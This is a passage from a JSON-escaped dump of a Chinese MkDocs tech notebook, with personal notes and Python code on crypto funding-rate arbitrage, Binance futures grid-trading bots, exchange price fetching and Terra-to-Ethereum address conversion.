class=\"p\">])</span>\n<span class=\"n\">data</span><span class=\"o\">.</span><span class=\"n\">sort</span><span class=\"p\">(</span><span class=\"n\">key</span><span class=\"o\">=</span><span class=\"k\">lambda</span> <span class=\"n\">i</span><span class=\"p\">:</span><span class=\"n\">i</span><span class=\"p\">[</span><span class=\"mi\">1</span><span class=\"p\">],</span> <span class=\"n\">reverse</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">)</span>\n<span class=\"k\">for</span> <span class=\"n\">i</span><span class=\"p\">,</span><span class=\"n\">profit</span><span class=\"p\">,</span><span class=\"n\">length</span> <span class=\"ow\">in</span> <span class=\"n\">data</span><span class=\"p\">:</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;&quot;</span><span class=\"p\">,</span><span class=\"n\">i</span><span class=\"p\">,</span> <span class=\"n\">profit</span><span class=\"p\">,</span> <span class=\"n\">length</span><span class=\"p\">,</span><span class=\"s2\">&quot;&quot;</span><span class=\"p\">,</span> <span class=\"n\">sep</span><span class=\"o\">=</span><span class=\"s2\">&quot;|&quot;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>风险： From <a href=\"https://www.chainnode.com/post/391781\">数字币套利简史（下）</a></p>\n<blockquote>\n<p>需要注意的是，资金费率的套利更加适合趋势上涨的行情，而且要留意行情的反转导致费率趋势的扭转，可能会套利失效；还有就是对于像18年的趋势下跌行情，虽然套利逻辑一样，但操作会更加复杂，因为这里面要涉及到永续合约+交割合约的组合对冲，占用币数也会翻倍，也就是说同样的币量套利年化收益率要打5折；所以，好好珍惜这来之不易的好行情吧。</p>\n</blockquote>\n<p>交易期间手速慢或交易不活跃会导致买入现货价格高于做空价格，导致额外的成本损耗；持有期间的最大风险在于美元贬值的风险，例如USDT 7.1买入，最后6.9卖出，即为28.2‰亏损</p>\n<p>另外，如果btc持续上涨，在持仓中看到做空亏了百分之多少还是有点心痛的，这就需要良好的心理素质，套利相比于持币动辄一天10%的波动就挣不到多少钱hhh</p>\n<hr />\n<h2 id=\"_4\">套利+网格交易<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h2>\n<p>上述能被选出的资金费率高的套利币种，往往也是涨幅巨大的币种，可能还不如简单持币赚得更多，于是可以尝试更稳妥网格。网格的一个缺点在于资金利用率低，等着抄底买入的资金是闲置的，自然想到可以把上述资金费率套利结合起来，还没买入的部分就等量做空，优点在于：</p>\n<ul>\n<li>还没买入的抄底资金能赚取资金费率，不完全闲置</li>\n<li>没有usdt暴雷风险，币本位永续合约挂钩的是美元而不是usdt</li>\n<li>手续费低，火币现货交易千2，币安合约交易maker只有万1.5</li>\n</ul>\n<p>调用币安python sdk自动挂单，代码逻辑是：\n获取当前所有的挂单，比对配置的价格数组，找到缺失的价格们。\n这些缺失的价格是因为挂单成交导致的，需要补上。\n最新成交的那一单价格定为p，p本身是不能补单的（刚突破的网格本身再补上就是白交手续费）。\n小于p的缺失价格需要补上buy，大于的补上sell。</p>\n<p>在行情剧烈波动的时候，可能一分钟就会成交多次订单需要及时补单，就遇到了具体编码的挑战：</p>\n<h3 id=\"_5\">如何获取最新的成交订单？<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h3>\n<p>订单号排序？不行，orderId只是按下单时间递增，orderId最大并不一定最近成交</p>\n<p>获取当前最新价格，比较哪个缺失价格离最新价格更近？在行情剧烈波动时不可靠</p>\n<p>获取历史所有订单，按updateTime排序？实测发现这个api有两个问题：</p>\n<ul>\n<li>多个订单updateTime相同，无法排序区分</li>\n<li>数据延迟，最新成交的订单并不一定出现</li>\n</ul>\n<p>解决方案是：</p>\n<ul>\n<li>获取最新成交的成交记录，从中提取包含的orderId，再查询订单。不排除这个REST API也存在数据延迟的问题</li>\n<li>使用websocket</li>\n</ul>\n<h3 id=\"python-sdk\">币安Python SDK没有币本位合约接口<a class=\"headerlink\" href=\"#python-sdk\" title=\"Permanent link\">&para;</a></h3>\n<p>现在代码已经有更新补上了REST API的缺失，但websocket订阅账户变动的代码还是得自己来：</p>\n<p>client.py里stream_get_listen_key附近加上：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"w\">    </span><span class=\"nv\">def</span><span class=\"w\"> </span><span class=\"nv\">futures_stream_get_listen_key</span><span class=\"ss\">(</span><span class=\"nv\">self</span><span class=\"ss\">)</span>:\n<span class=\"w\">        </span><span class=\"nv\">res</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">self</span>.<span class=\"nv\">_request_futures_api</span><span class=\"ss\">(</span><span class=\"s2\">&quot;post&quot;</span>,<span class=\"w\"> </span><span class=\"s2\">&quot;listenKey&quot;</span>,<span class=\"w\"> </span><span class=\"nv\">True</span>,<span class=\"w\"> </span><span class=\"nv\">data</span><span class=\"o\">=</span>{}<span class=\"ss\">)</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"nv\">res</span>[<span class=\"s1\">&#39;listenKey&#39;</span>]\n</code></pre></div>\n\n<p>调用就这样：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"w\">    </span><span class=\"nv\">def</span><span class=\"w\"> </span><span class=\"nv\">start_websocket</span><span class=\"ss\">(</span><span class=\"nv\">self</span>,<span class=\"w\"> </span><span class=\"nv\">handle_order</span><span class=\"ss\">)</span>:\n<span class=\"w\">        </span><span class=\"nv\">def</span><span class=\"w\"> </span><span class=\"nv\">process_message</span><span class=\"ss\">(</span><span class=\"nv\">msg</span><span class=\"ss\">)</span>:\n<span class=\"w\">            </span><span class=\"nv\">global</span><span class=\"w\"> </span><span class=\"nv\">conn_key</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">msg</span>[<span class=\"s1\">&#39;e&#39;</span>]<span class=\"w\"> </span><span class=\"nv\">not</span><span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span>[<span class=\"s1\">&#39;ACCOUNT_UPDATE&#39;</span>]<span class=\"w\"> </span><span class=\"nv\">and</span><span class=\"w\"> </span><span class=\"nv\">not</span><span class=\"w\"> </span><span class=\"ss\">(</span><span class=\"nv\">msg</span>[<span class=\"s1\">&#39;e&#39;</span>]<span class=\"o\">==</span><span class=\"s1\">&#39;ORDER_TRADE_UPDATE&#39;</span><span class=\"w\"> </span><span class=\"nv\">and</span><span class=\"w\"> </span><span class=\"nv\">msg</span>[<span class=\"s1\">&#39;o&#39;</span>][<span class=\"s1\">&#39;X&#39;</span>]<span class=\"o\">==</span><span class=\"s1\">&#39;NEW&#39;</span><span class=\"ss\">)</span>:\n<span class=\"w\">                </span><span class=\"nv\">myprint</span><span class=\"ss\">(</span><span class=\"s2\">&quot;message:&quot;</span>,<span class=\"w\"> </span><span class=\"nv\">msg</span>[<span class=\"s1\">&#39;e&#39;</span>],<span class=\"w\"> </span><span class=\"nv\">msg</span><span class=\"ss\">)</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">msg</span>[<span class=\"s1\">&#39;e&#39;</span>]<span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"s1\">&#39;error&#39;</span>:\n<span class=\"w\">                </span><span class=\"nv\">bm</span>.<span class=\"nv\">stop_socket</span><span class=\"ss\">(</span><span class=\"nv\">conn_key</span><span class=\"ss\">)</span>\n<span class=\"w\">                </span><span class=\"nv\">bm</span>.<span class=\"nv\">close</span><span class=\"ss\">()</span>\n<span class=\"w\">                </span><span class=\"nv\">reactor</span>.<span class=\"nv\">stop</span><span class=\"ss\">()</span>\n<span class=\"w\">                </span><span class=\"nv\">print</span><span class=\"ss\">(</span><span class=\"s2\">&quot;socket stopped, exit now!&quot;</span><span class=\"ss\">)</span>\n<span class=\"w\">                </span><span class=\"k\">exit</span><span class=\"ss\">()</span>\n<span class=\"w\">            </span><span class=\"nv\">elif</span><span class=\"w\"> </span><span class=\"nv\">msg</span>[<span class=\"s1\">&#39;e&#39;</span>]<span class=\"o\">==</span><span class=\"s1\">&#39;ORDER_TRADE_UPDATE&#39;</span>:\n<span class=\"w\">                </span><span class=\"nv\">o</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">msg</span>[<span class=\"s1\">&#39;o&#39;</span>]\n<span class=\"w\">                </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">o</span>[<span class=\"s1\">&#39;X&#39;</span>]<span class=\"o\">!=</span><span class=\"s1\">&#39;FILLED&#39;</span>:\n<span class=\"w\">                    </span><span class=\"k\">return</span>\n<span class=\"w\">                </span><span class=\"nv\">order</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span>{<span class=\"s2\">&quot;price&quot;</span>:<span class=\"nv\">o</span>[<span class=\"s1\">&#39;p&#39;</span>],<span class=\"w\"> </span><span class=\"s2\">&quot;orderId&quot;</span>:<span class=\"nv\">o</span>[<span class=\"s1\">&#39;i&#39;</span>],<span class=\"w\"> </span><span class=\"s2\">&quot;side&quot;</span>:<span class=\"nv\">o</span>[<span class=\"s2\">&quot;S&quot;</span>],<span class=\"w\"> </span><span class=\"s2\">&quot;symbol&quot;</span>:<span class=\"nv\">o</span>[<span class=\"s2\">&quot;s&quot;</span>],<span class=\"w\"> </span><span class=\"s2\">&quot;clientOrderId&quot;</span>:<span class=\"nv\">o</span>[<span class=\"s2\">&quot;c&quot;</span>]}\n<span class=\"w\">                </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"nv\">handle_order</span><span class=\"ss\">(</span><span class=\"nv\">order</span><span class=\"ss\">)</span>\n\n<span class=\"w\">        </span><span class=\"nv\">client</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">self</span>.<span class=\"nv\">client</span>\n<span class=\"w\">        </span><span class=\"nv\">client</span>.<span class=\"nv\">stream_get_listen_key</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">client</span>.<span class=\"nv\">futures_stream_get_listen_key</span>\n<span class=\"w\">        </span><span class=\"nv\">client</span>.<span class=\"nv\">FUTURES_URL</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">client</span>.<span class=\"nv\">FUTURES_URL</span>.<span class=\"nv\">replace</span><span class=\"ss\">(</span><span class=\"s2\">&quot;fapi&quot;</span>,<span class=\"w\"> </span><span class=\"s2\">&quot;dapi&quot;</span><span class=\"ss\">)</span>\n<span class=\"w\">        </span><span class=\"nv\">bm</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">BinanceSocketManager</span><span class=\"ss\">(</span><span class=\"nv\">client</span><span class=\"ss\">)</span>\n<span class=\"w\">        </span><span class=\"nv\">bm</span>.<span class=\"nv\">STREAM_URL</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s2\">&quot;wss://dstream.binance.com/&quot;</span>\n<span class=\"w\">        </span><span class=\"nv\">conn_key</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">bm</span>.<span class=\"nv\">start_user_socket</span><span class=\"ss\">(</span><span class=\"nv\">process_message</span><span class=\"ss\">)</span>\n<span class=\"w\">        </span><span class=\"nv\">bm</span>.<span class=\"nv\">start</span><span class=\"ss\">()</span>\n</code></pre></div>\n\n<p>上述代码直接魔改BinanceSocketManager的常数定义来实现对币本位合约API的调用，订阅账户变动消息，只处理ORDER_TRADE_UPDATE中FILLED的订单，调用handle_order函数进行处理</p>\n<h3 id=\"_6\">各种异常处理<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h3>\n<p><strong>避免重复下单</strong>: 下单时指定包含价格信息的newClientOrderId，重复下单自然会失败，避免相同的订单重复下单<code>APIError(code=-4015): Client order id is not valid.</code>，但这个保护只针对还在挂单的订单，相同的clientorderid如果前述订单已经成交，不会阻止新的提交。</p>\n<p><strong>已经重复下单</strong>：需要比对当前价格与定义好的网格数组，判断当前应该的仓位是多少，然后使用市价单或者额外在相邻网格下单保证仓位的正确性，注意极端行情下自动补仓依据的仓位价值可能有误。例如买入是靠平仓做空实现的，这是种reduceOnly的订单，必须有足够多的做空仓位才能买，否则报错：<code>APIError(code=-2022): ReduceOnly Order is rejected.</code></p>\n<p>已经下的<strong>订单状态变成“已过期”</strong>：这种还是因为已经发生了超买/超卖，保证金不足，官方说明：</p>\n<blockquote>\n<p>https://www.binance.com/zh-CN/support/faq/360039707291</p>\n<p>保证金审核不过（针对于止盈止损单）：止盈止损单中需要设置触发价和成交价（市价止盈止损单中，可以根据不同需要设置根据标记价格或最新价格触发），系统会进行两次保证金审核，分别在下单前和成交前。订单触发之后，系统会立即进行第二次保证金审核，若当前发生了亏损或划转出了保证金，导致可用保证金不足，此时订单状态会显示已过期。</p>\n</blockquote>\n<p><strong>保证金不足</strong>：直接把杠杆倍数变成2可以避免这个问题，即使加杠杆也不会出现强平价格。</p>\n<p><strong>服务器网络不可靠</strong>：在其他地区的服务器同时跑轮询，即使单个服务器挂掉，也有其他服务器靠轮询补上订单，但注意分布式后日志收集是个新的难点</p>\n<p><strong>listenKeyExpired</strong>：收到这种类型的消息需要重新连接，也可以主动轮询的时候调用futures_stream_get_listen_key对现有的Listen Key进行刷新</p>\n<script>\nfunction myparseFloat(text){\n    var res = parseFloat(text);\n    if(isNaN(res)) {\n        if(text[0]==\"b\"||text[0]==\"h\"||text[0]==\"o\"||text[0]==\"u\") return text.slice(1);\n         else return text;\n    }\n    if(text.endsWith(\"亿\")) return res*100000000;\n    if(text.endsWith(\"万\")) return res*10000;\n    return res;\n}\nfunction tdsortn(a,b,n){\n    if(myparseFloat(a.querySelector(\"td:nth-child(\"+n+\")\").textContent) > myparseFloat(b.querySelector(\"td:nth-child(\"+n+\")\").textContent) ) \n        return 1; \n    else \n        return -1;\n}\nfunction tablebodysort(tbody, n, order){\n    var mylist=Array.prototype.slice.call(tbody.querySelectorAll(\"tr\"), 0);\n    var sortList = Array.prototype.sort.bind(mylist);\n    tbody.innerHTML=\"\";\n    for(var i of sortList(function(a,b){return -order*tdsortn(a,b,n)}))\n        tbody.appendChild(i)\n}\nvar rememerclick={2:1};\nfunction tablesort_onclick(e){\n    var n = Array.from(e.target.parentElement.children).map((element, index)=>({element,index})).filter(({element})=>element==e.target)[0].index+1\n    var tbody = document.querySelector(\"#realtimeprofittbody\");\n    var order = rememerclick[n]==1?-1:1;\n    tablebodysort(tbody, n, order);\n    rememerclick[n] = order;\n}\nfunction registeronclick(){\n    for (var i of Array.prototype.slice.call(document.querySelectorAll(\"#realtimeprofit > table > thead > tr > th\"),0)){\n        i.onclick = tablesort_onclick;\n        i.style[\"cursor\"]=\"pointer\";\n    }\n    var tab=localStorage.getItem(\"watchtab\");\n    if(tab){eval(tab+\"()\")}\n    rememerclick={2:1};\n    document.querySelectorAll(\"#realtimeprofittbody>tr>td\").forEach(function(i){if(i.innerText.trim().startsWith(\"-\")){i.style.backgroundColor=\"#c0ff90\"}})\n}\nfunction triggerrefresh(){    \n    fetch(\"https://api.py3.io/trigger_btc_refresh\").then(function(response) {\n        if (!response.ok) {\n            throw Error(response.statusText);\n        }\n        return response;\n    }).then(function(response) {\n        alert(\"更新成功\");\n        loadbtctable();\n    }).catch(function(error) {\n        alert(\"触发更新失败，请稍后再来\")\n    });\n}\nif(/refresh/.test(location.href)) triggerrefresh();\nfunction showfull(){\n    localStorage.setItem(\"watchtab\",\"showfull\");\n    document.querySelector(\"#realtimeprofittbody\").querySelectorAll(\"tr\").forEach(i=>i.style.display=\"\")\n}\nfunction showtrs(coins){\n    document.querySelector(\"#realtimeprofittbody\").querySelectorAll(\"tr\").forEach(i=>i.style.display=(coins.indexOf(i.querySelector(\".headcol\").innerText.trim())==-1?\"none\":\"\"))\n}\nfunction hidetrs(coins){\n    document.querySelector(\"#realtimeprofittbody\").querySelectorAll(\"tr\").forEach(i=>i.style.display=(coins.indexOf(i.querySelector(\".headcol\").innerText.trim())==-1?\"\":\"none\"))\n}\nfunction show_prefix(prefix){\n    document.querySelector(\"#realtimeprofittbody\").querySelectorAll(\"tr\").forEach(i=>i.style.display=(i.querySelector(\".headcol\").innerText.trim().startsWith(prefix)?\"\":\"none\"))\n}\n</script>\n<style>\n.md-grid{max-width:69rem;}\n.headcol {\n  position: sticky;\n  position: -webkit-sticky;\n  background-color: white;\n  width: 3rem;\n  min-width: 3rem;\n  max-width: 3rem;\n  left: 0px;\n}\nth.headcol {\n  background-color: #757575!important;\n}\n.md-typeset table:not([class]) tr:hover .headcol{\n  background-color: #f6f6f6;\n}\n.md-typeset table:not([class]) th{\n  min-width: 4rem;\n}\n#realtimeprofit > table {\n  overflow: visible;\n}\n\n#realtimeprofit > table > thead > tr > th {\n  position: sticky;\n  top: 2.4rem;\n  z-index: 3;\n}\n</style>\n\n<hr />\n<h2 id=\"_7\">获取交易所价格信息<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h2>\n<p>在统计资产时对价格实时性没有要求，可以缓存60秒；用法：<code>print(HUOBI_Price.btc)</code>，返回的是字符串类型</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">class</span> <span class=\"n\">class_CEXPRICE</span>():\n    <span class=\"n\">def</span> <span class=\"n\">__init__</span>(<span class=\"nb\">self</span>):\n        <span class=\"nb\">self</span>.<span class=\"n\">updatetime</span> = -<span class=\"mi\">1</span>\n    <span class=\"n\">def</span> <span class=\"n\">__getattr__</span>(<span class=\"nb\">self</span>, <span class=\"k\">token</span>):\n        <span class=\"k\">if</span> <span class=\"n\">time</span>.<span class=\"n\">time</span>()-<span class=\"n\">self</span>.<span class=\"n\">updatetime</span><span class=\"o\">&gt;=</span><span class=\"mi\">60</span>:\n            <span class=\"nb\">print</span>(<span class=\"s\">&quot;fetch&quot;</span>, <span class=\"nb\">self</span>, <span class=\"nb\">end</span>=<span class=\"s\">&quot;&quot;</span>, <span class=\"nb\">flush</span>=<span class=\"nb\">True</span>)\n            <span class=\"nb\">self</span>.<span class=\"n\">data</span> = <span class=\"nb\">self</span>.<span class=\"n\">fetchprice</span>()\n            <span class=\"nb\">print</span>()\n            <span class=\"nb\">self</span>.<span class=\"n\">updatetime</span> = <span class=\"n\">time</span>.<span class=\"n\">time</span>()\n        <span class=\"k\">return</span> <span class=\"nb\">self</span>.<span class=\"n\">handleprice</span>(<span class=\"k\">token</span>)\n\n<span class=\"k\">class</span> <span class=\"n\">class_HUOBI_Price</span>(<span class=\"n\">class_CEXPRICE</span>):\n    <span class=\"n\">def</span> <span class=\"n\">fetchprice</span>(<span class=\"nb\">self</span>):\n        <span class=\"k\">return</span> <span class=\"n\">sess</span>.<span class=\"nb\">get</span>(<span class=\"s\">&quot;https://api.huobi.pro/market/tickers&quot;</span>, <span class=\"n\">timeout</span>=<span class=\"mi\">5</span>).<span class=\"n\">json</span>()[<span class=\"s\">&quot;data&quot;</span>]\n    <span class=\"n\">def</span> <span class=\"n\">handleprice</span>(<span class=\"nb\">self</span>, <span class=\"k\">token</span>):\n        <span class=\"k\">return</span> [<span class=\"n\">i</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"nb\">in</span> <span class=\"nb\">self</span>.<span class=\"n\">data</span> <span class=\"k\">if</span> <span class=\"n\">i</span>[<span class=\"s\">&quot;symbol&quot;</span>]==<span class=\"k\">token</span>.<span class=\"n\">lower</span>()+<span class=\"s\">&quot;usdt&quot;</span>][<span class=\"mi\">0</span>][<span class=\"s\">&quot;close&quot;</span>]\n<span class=\"n\">HUOBI_Price</span>=<span class=\"n\">class_HUOBI_Price</span>()\n\n<span class=\"k\">class</span> <span class=\"n\">class_BINANCE_Price</span>(<span class=\"n\">class_CEXPRICE</span>):\n    <span class=\"n\">def</span> <span class=\"n\">fetchprice</span>(<span class=\"nb\">self</span>):\n        <span class=\"k\">return</span> <span class=\"n\">sess</span>.<span class=\"nb\">get</span>(<span class=\"s\">&quot;https://api.binance.com/api/v3/ticker/price&quot;</span>, <span class=\"n\">timeout</span>=<span class=\"mi\">5</span>).<span class=\"n\">json</span>()\n    <span class=\"n\">def</span> <span class=\"n\">handleprice</span>(<span class=\"nb\">self</span>, <span class=\"k\">token</span>):\n        <span class=\"k\">if</span> <span class=\"s\">&quot;busd&quot;</span> <span class=\"nb\">not</span> <span class=\"nb\">in</span> <span class=\"k\">token</span>.<span class=\"n\">lower</span>():\n            <span class=\"k\">token</span> = <span class=\"k\">token</span>.<span class=\"n\">lower</span>()+<span class=\"s\">&quot;usdt&quot;</span>\n        <span class=\"k\">return</span> [<span class=\"n\">i</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"nb\">in</span> <span class=\"nb\">self</span>.<span class=\"n\">data</span> <span class=\"k\">if</span> <span class=\"n\">i</span>[<span class=\"s\">&quot;symbol&quot;</span>]==<span class=\"k\">token</span>.<span class=\"n\">upper</span>()][<span class=\"mi\">0</span>][<span class=\"s\">&quot;price&quot;</span>]\n<span class=\"n\">BINANCE_Price</span>=<span class=\"n\">class_BINANCE_Price</span>()\n\n<span class=\"k\">class</span> <span class=\"n\">class_MXC_Price</span>(<span class=\"n\">class_CEXPRICE</span>):\n    <span class=\"n\">def</span> <span class=\"n\">fetchprice</span>(<span class=\"nb\">self</span>):\n        <span class=\"k\">return</span> <span class=\"n\">sess</span>.<span class=\"nb\">get</span>(<span class=\"s\">&quot;https://www.mxc.com/open/api/v2/market/ticker&quot;</span>, <span class=\"n\">timeout</span>=<span class=\"mi\">5</span>).<span class=\"n\">json</span>()[<span class=\"s\">&quot;data&quot;</span>]\n    <span class=\"n\">def</span> <span class=\"n\">handleprice</span>(<span class=\"nb\">self</span>, <span class=\"k\">token</span>):\n        <span class=\"k\">return</span> [<span class=\"n\">i</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"nb\">in</span> <span class=\"nb\">self</span>.<span class=\"n\">data</span> <span class=\"k\">if</span> <span class=\"n\">i</span>[<span class=\"s\">&quot;symbol&quot;</span>]==<span class=\"k\">token</span>.<span class=\"n\">upper</span>()+<span class=\"s\">&quot;_USDT&quot;</span>][<span class=\"mi\">0</span>][<span class=\"s\">&quot;last&quot;</span>]\n<span class=\"n\">MXC_Price</span> = <span class=\"n\">class_MXC_Price</span>()\n</code></pre></div>\n\n<hr />\n<h2 id=\"terra\">terra地址转为以太坊地址<a class=\"headerlink\" href=\"#terra\" title=\"Permanent link\">&para;</a></h2>\n<p>依赖库：<code>pip3 install bech32</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">bech32</span>\n<span class=\"n\">words</span> <span class=\"o\">=</span> <span class=\"n\">bech32</span><span class=\"o\">.</span><span class=\"n\">bech32_decode</span><span class=\"p\">(</span><span class=\"n\">terra_addr</span><span class=\"p\">)[</span><span class=\"mi\">1</span><span class=\"p\">]</span>\n<span class=\"n\">ethaddr</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;&quot;</span><span class=\"o\">.</span><span class=\"n\">join</span><span class=\"p\">([</span><span class=\"nb\">hex</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">)[</span><span class=\"mi\">2</span><span class=\"p\">:]</span><span class=\"o\">.</span><span class=\"n\">rjust</span><span class=\"p\">(</span><span class=\"mi\">2</span><span class=\"p\">,</span><span class=\"s2\">&quot;0&quot;</span><span class=\"p\">)</span> <span class=\"k\">for</span> <span class=\"n\">i</span> <span class=\"ow\">in</span> <span class=\"n\">bech32</span><span class=\"o\">.</span><span class=\"n\">convertbits</span><span class=\"p\">(</span><span class=\"n\">words</span><span class=\"p\">,</span><span class=\"mi\">5</span><span class=\"p\">,</span><span class=\"mi\">8</span><span class=\"p\">,</span><span class=\"kc\">False</span><span class=\"p\">)])</span>\n</code></pre></div>\n\n<p><strong>反过来就是</strong></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">words</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span>[<span class=\"nv\">int</span><span class=\"ss\">(</span><span class=\"nv\">ethaddr</span>[<span class=\"nv\">i</span>:<span class=\"nv\">i</span><span class=\"o\">+</span><span class=\"mi\">2</span>],<span class=\"w\"> </span><span class=\"mi\">16</span><span class=\"ss\">)</span><span class=\"w\"> </span><span class=\"k\">for</span><span class=\"w\"> </span><span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span><span class=\"nv\">range</span><span class=\"ss\">(</span><span class=\"mi\">0</span>,<span class=\"mi\">40</span>,<span class=\"mi\">2</span><span class=\"ss\">)</span>]\n<span class=\"nv\">terra_addr</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">bech32</span>.<span class=\"nv\">bech32_encode</span><span class=\"ss\">(</span><span class=\"s2\">&quot;terra&quot;</span>,<span class=\"w\"> </span><span class=\"nv\">bech32</span>.<span class=\"nv\">convertbits</span><span class=\"ss\">(</span><span class=\"nv\">words</span>,<span class=\"w\"> </span><span class=\"mi\">8</span>,<span class=\"w\"> </span><span class=\"mi\">5</span>,<span class=\"w\"> </span><span class=\"nv\">False</span><span class=\"ss\">))</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/C/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../BAT/\">\n      \n      \n        <link rel=\"next\" href=\"../Java/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>C语言 - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#c\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg 